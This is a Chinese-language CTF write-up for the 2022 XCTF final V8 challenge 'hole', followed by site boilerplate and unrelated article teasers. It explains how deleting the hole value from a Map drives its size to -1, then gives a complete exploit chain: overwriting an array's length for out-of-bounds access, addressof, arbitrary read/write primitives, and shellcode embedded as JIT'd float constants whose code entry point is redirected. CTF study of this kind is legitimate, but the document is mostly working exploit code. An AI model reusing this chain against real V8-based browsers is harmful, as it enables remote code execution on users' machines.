2022xctf-final hole

这个题是做到的第一个利用hole和map来制造oob的题目,挺有意思的记录一下

首先根据题目给出的信息可知涉及到此漏洞
https://crbug.com/1263462

poc如下:

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
// %DebugPrint(m);
print(m.size);

这里的%TheHole只有开启了–allow-natives-syntax才可以使用,如果不能开的话还需要另一个漏洞来获取一个hole对象。

这里主要想记录如何利用hole和map来制造oob以及记录一下用立即数执行shellcode,所以就直接用那个函数来获取hole了。

首先需要了解map对象的结构,执行一下测试代码:

m = new Map();
m.set(1, 0x1234);
m.set(2, 2);
m.set(3, 3);
m.set("aaaa","bbbb");
%DebugPrint(m);
%SystemBreak();

内存中长这样
在这里插入图片描述

map中的每个key-value的存储单元是entry,实现如下

interface Entry {
    key: any;
    value: any;
    chain: number;
}

每个buckets相当于一个哈希桶,如果map里只有四个entry,则哈希桶的数量是2,然后entry中的chain相当于当发生哈希冲突的时候存储在同一个buckets里的下一个entry的index。elements里则是存储了每个具体的entry。

有关map的具体内存使用方式可以看这个,讲的很详细
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df

现在手里有一个size为-1的map,则下一次进行set的时的entry会向上写,buckets和entry的机构可以参考这个图
在这里插入图片描述

这个图和上面的gdb内存图对应起来可以解释为

entry count就是job命令打印出来的elements:4,deleted count为deleted:0,bucket count对应为buckets:2,capacity是一个计算出的值,不会再内存中有具体存储,这三个值对应着一个map对象的header,接下来的hashtable对应着的是buckets字典。后面的elements字典对应的是datatable,结构单元是一个一个的entry。

所以当我们能够在-1的位置写一个entry,并且bucket的数量为2的时候,意味着我们可以把这个entry的key写到bucket count字段上去,修改了bucket count就意味着这个map对象的entry偏移变了,原本存储entry的地址被认为成了是bucket,所以再次进行set的时候会把entry放到更远的位置,造成越界写,如果越界写恰好改变了某个array的length,则造成了大范围的自由OOB,后续的思路就比较常规了。所以这个题主要难点在于能否找到并理解那个poc以及对map的内存结构是否熟知。

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(0x1001,0x4000);
%DebugPrint(oobarray);
%DebugPrint(m);
%SystemBreak();

通过修改bucket的数量为0x10,恰好可以使entry的value字段覆盖到array的length字段,但是这里写的时候要注意key是有限制的,必须在map自己的哈希过后对应的hashtable里值为-1

在这里插入图片描述

经过修改以后的map只有0和1的位置是-1,其他都是undefined,所以用的key需要爆破一下。

哈希代码的具体实现是

uint32_t ComputeUnseededHash(uint32_t key) {
    uint32_t hash = key;
    hash = ~hash + (hash << 15);
    hash = hash ^ (hash >> 12);
    hash = hash + (hash << 2);
    hash = hash ^ (hash >> 4);
    hash = hash * 2057;
    hash = hash ^ (hash >> 16);
    return hash & 0x3fffffff;
}

在这里插入图片描述

于是采用0x40a作为key,制造一个oobarray

pwndbg> job 0x14200042401
0x14200042401: [JSArray]
 - map: 0x014200203b01 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0142001cb07d <JSArray[0]>
 - elements: 1034 [PACKED_DOUBLE_ELEMENTS]
 - length: 16384
 - properties: 0x014200002251 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x14200006325: [String] in ReadOnlySpace: #length: 0x014200144255 <AccessorInfo name= 0x014200006325 <String[6]: #length>, data= 0x0142000023d9 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 1034 {
 }

可以看到array的长度已经被改大了,并且程序没有出现任何崩溃。

但是此时发现elements的地址被改成了一个不正常的数,最后set的key是直接使用的oobarray,才算真正解决了这个问题

后面就没什么需要解释的地方了。

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function p64(val) {
	dv.setUint32(0,val & 0xFFFFFFFF,true);
	dv.setUint32(0x4,val >> 32,true);
	var float_val = dv.getFloat64(0,true);
	return float_val;
 }
 function p64(low4,high4) {
	dv.setUint32(0,low4,true);
	dv.setUint32(0x4,high4,true);
	var float_val = dv.getFloat64(0,true);
	return float_val;
 }
 function u64(val){
	dv.setFloat64(0,val,true);
	return dv.getBigInt64(0,true)
 }
 function u64_l(val) {
	dv.setFloat64(0,val,true);
	return dv.getUint32(0,true);
 }
 
 function u64_h(val) {
	dv.setFloat64(0,val,true);
	return dv.getUint32(0x4,true);
 }
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}
function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(oobarray,0x4000);
var obj={'target':0x5678>>1};
var array_buf=[1.1,2.2];
var obj_idx=0;
for(let i=0;i<0x100;i++)
{
	let t=f2i(oobarray[i])>>32n;
	if(t==0x5678n)
	{
		obj_idx=i;
		break;
	}
}
console.log("[*] obj_idx is 0x"+hex(obj_idx));
function addressof(object)
{
	obj.target=object;
	return f2i(oobarray[obj_idx])>>32n;
}
var ele_idx=obj_idx+8;
var tmp=f2i(oobarray[ele_idx])%0x100000000n;
var shell_addr=addressof(shellcode)-1n;
console.log("[*] shell_addr is 0x"+hex(shell_addr));
function weak_read(address)
{
	oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));
	return f2i(array_buf[0]);
}
function weak_write(address,value)
{
    oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));
    array_buf[0]=i2f(value);
}
var code_addr=weak_read(shell_addr+0x18n);
var code_entry_point=weak_read(code_addr-1n+0x10n);
weak_write(code_addr+0x10n-1n,code_entry_point+103n);
//%DebugPrint(oobarray);
console.log("[*] code_addr is 0x"+hex(code_addr));
console.log("[*] code_entry_point is 0x"+hex(code_entry_point));
%DebugPrint(obj);
//%DebugPrint(array_buf);
%DebugPrint(shellcode);
%SystemBreak();
shellcode();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/263588.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【干货】安全规范着装AI检测算法详解/厂商推荐

关于安全着装算法你知道多少&#xff1f;是不是还局限于口罩、安全帽检测&#xff1f;远不如此&#xff0c;随着AI智能算法的迅速发展&#xff0c;在安全生产领域&#xff0c;人工智能对安全监管的力度也大大增加&#xff0c;今天小编就带大家详细了解一下。 较为基础的安全着装…

Guava的TypeToken在泛型编程中的应用

第1章&#xff1a;引言 在Java世界里&#xff0c;泛型是个相当棒的概念&#xff0c;能让代码更加灵活和类型安全。但是&#xff0c;泛型也带来了一些挑战&#xff0c;特别是当涉及到类型擦除时。这就是TypeToken大显身手的时候&#xff01; 作为Java程序员的咱们&#xff0c;…

TCP/IP:从数据包到网络的演变

引言 TCP/IP协议的起源可以追溯到20世纪60年代末和70年代初&#xff0c;美国国防部高级研究计划局&#xff08;ARPA&#xff09;研究开发一种可靠的通信协议&#xff0c;用于连接分散在不同地点的计算机和资源。 在当时&#xff0c;计算机之间的连接并不像现在这样普遍和便捷…

MySQL,练习

表结构参考&#xff1a;MySQL&#xff0c;等值联结、内部联结、多表连接、自联结、自然联结、外部联结、带聚集函数的联结-CSDN博客 1、找出购买了产品id1023005的客户信息 # 联结三表&#xff0c;再过滤 SELECT customers.* FROM orderitems,orders,customers WHERE orderit…

【String、StringBuilder 和 StringBuffer 的 区别】

✅ String、StringBuilder 和 StringBuffer 的 区别 ✅典型解析✅扩展知识仓✅String 的不可变性✅ 为什么JDK 9 中把String 的char[ ] 改成了 byte[ ] ? ✅为什么String设计成不可变的✅缓存✅安全性✅线程安全✅hashcode缓存✅ 性能 ✅String 的 " " 是如何实现的…

IDEA2023+JDK17+SpringBoot3+MySQL8后端接口开发实战课笔记

概述 花了很长的时间&#xff0c;终于把心心念念的SpringBoot3的实战课整理出来了。 今天是开心的一天&#xff0c;因为又多了一门课程可以奉献给大家&#xff0c;也是难过的一天&#xff0c;那就是又要开始重新找工作了。 如果我的粉丝里面有关于Golang或者Python的相关工作推…

算法题系列7·获得数组中多数元素

目录 题目描述 实现 提交结果 题目描述 给定一个大小为 n 的数组 nums &#xff0c;返回其中的多数元素。多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。 你可以假设数组是非空的&#xff0c;并且给定的数组总是存在多数元素。 示例 1&#xff1a; 输入&#xff1a;…

深度学习 Day21——J1ResNet-50算法实战与解析

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制 文章目录 前言一、我的环境二、代码实现与执行结果1.引入库2.设置GPU&#xff08;如果使用的是CPU可以忽略这步&#xff09;3.导入数据4.查…

linux 串口测试指令和测试程序

一、串口设备查看 查看串口 (/dev) ls /dev/tty*查看串口&#xff08;或串口终端&#xff09;属性 ( /proc) cat /proc/tty/driver/serial 或 cat /proc/tt…

《Python Advanced Programming + Design Patterns + Clean Code》

清洁代码 — 学习如何编写可读、可理解且可维护的代码 高级Python编程知识 Python之常用设计模式 Advanced Programming装饰器 decorators生成器 & 迭代器with 上下文管理器面向对象Mixin 模式反射机制并发编程 Design Patterns设计模式分类简单工厂模式工厂模式 √抽象工厂…

什么是误差,什么是重构误差,误差与重构误差有什么区别?

重构误差 1.误差的概念2.重构误差的概念 1.误差的概念 在机器学习中&#xff0c;误差通常是指模型的输出与实际标签或者真实值之间的差异&#xff0c;通常用于评估模型的预测能力或者训练的优化过程。 2.重构误差的概念 重构误差是指通过学习到的模型来重新构建&#xff08;或…

OpenCV | 告别人工目检:深度学习技术引领工业品缺陷检测新时代

文章目录 机器视觉缺陷检测工业上常见缺陷检测方法内容简介作者简介目录读者对象如何阅读本书获取方式 机器视觉 机器视觉是使用各种工业相机&#xff0c;结合传感器跟电气信号实现替代传统人工&#xff0c;完成对象识别、计数、测量、缺陷检测、引导定位与抓取等任务。其中工…

听GPT 讲Rust源代码--src/tools(21)

File: rust/src/tools/miri/src/shims/x86/mod.rs 在Rust的源代码中&#xff0c;rust/src/tools/miri/src/shims/x86/mod.rs文件的作用是为对x86平台的处理提供支持。它包含一些用于模拟硬件操作的shim函数和相关的类型定义。 具体来说&#xff0c;该文件中的函数是通过使用一组…

华为---登录USG6000V防火墙---console、web、telnet、ssh方式登录

目录 一、环境搭建 二、第一次登录USG6000V防火墙&#xff0c;即通过console方式登录 三、用户配置 四、web登录USG6000V防火墙 1. 用web创建的用户通过web方式登录USG6000V防火墙 2. 命令行创建的用户通过web方式登录USG6000V防火墙 五、ssh方式登录USG6000V防火墙 1. 用…

STM32CubeMX配置HAL库输入捕获

STM32CubeMX配置HAL库输入捕获 STM32的输入捕获功能可以用来测量脉冲宽度或者频率。其工作原理是&#xff0c;通过检测TIMx_CHx上的边沿信号&#xff0c;在边沿信号发生跳变&#xff08;比如 上升沿/下降沿&#xff09;的时候&#xff0c;将当前定时器的值&#xff08;TIMx_C…

被有道云笔记成功劝退拥抱Joplin(Joplin使用过程遇到的问题)

本人职业程序员&#xff0c;培训讲师&#xff08;技术类&#xff09;、活动主持人&#xff0c;对多端阅读是有些需求的&#xff0c;平时习惯墨水平板、手机和笔记本电脑登录着有道云笔记。其实本人对内容比较重视&#xff0c;对有道云笔记提供的什么AI服务、PDF转Word等功能是没…

【python】进阶--->网络编程(二)

一、分层模型 OSI/RM(开放系统互联参考模型) 是由国际标准化组织提出来的一种网络互联模型,成为所有的销售商都能实现的开放网络模型.(OSI模型提供我们理解网络协议的内部运作) OSI模型将网络通信工作分为7层,每一层为上一层服务,并为上一层提供一个访问的接口或者界面. 越下…

用Minikube 搭建一个单机k8s玩玩

Minikube 介绍 Minikube是一款单机搭建和管理Kubernetes集群的工具。与Kind 类似&#xff0c;但是个人认为比Kind 好用 Minikube 安装 mac如果安装了 Homebrew&#xff0c;直接执行以下命令安装minikube brew install minikubemac没有安装Homebrew,需要到官网下载选择系统配置…

【Prometheus|报错】Out of bounds

【背景】进入Prometheus地址的9090端口&#xff0c;pushgateway&#xff08;0/1&#xff09;error : out of bounds 【排查分析】 1、out of bounds报错&#xff0c;是由于Prometheus向tsdb存数据出错&#xff0c;与最新存数据的时间序列有问题&#xff0c;有可能当前时间与最…

VGGNet

目录 一、VGGNet介绍 1、VGG块 2、VGG架构 3、LeNet, AlexNet和VGGNet对比 4、总结 二、代码实现 1、定义VGG卷积块 2、VGG网络 3、训练模型 4、总结 一、VGGNet介绍 VGGNet&#xff08;Visual Geometry Group Network&#xff09;是一种深度卷积神经网络&#xff0c;…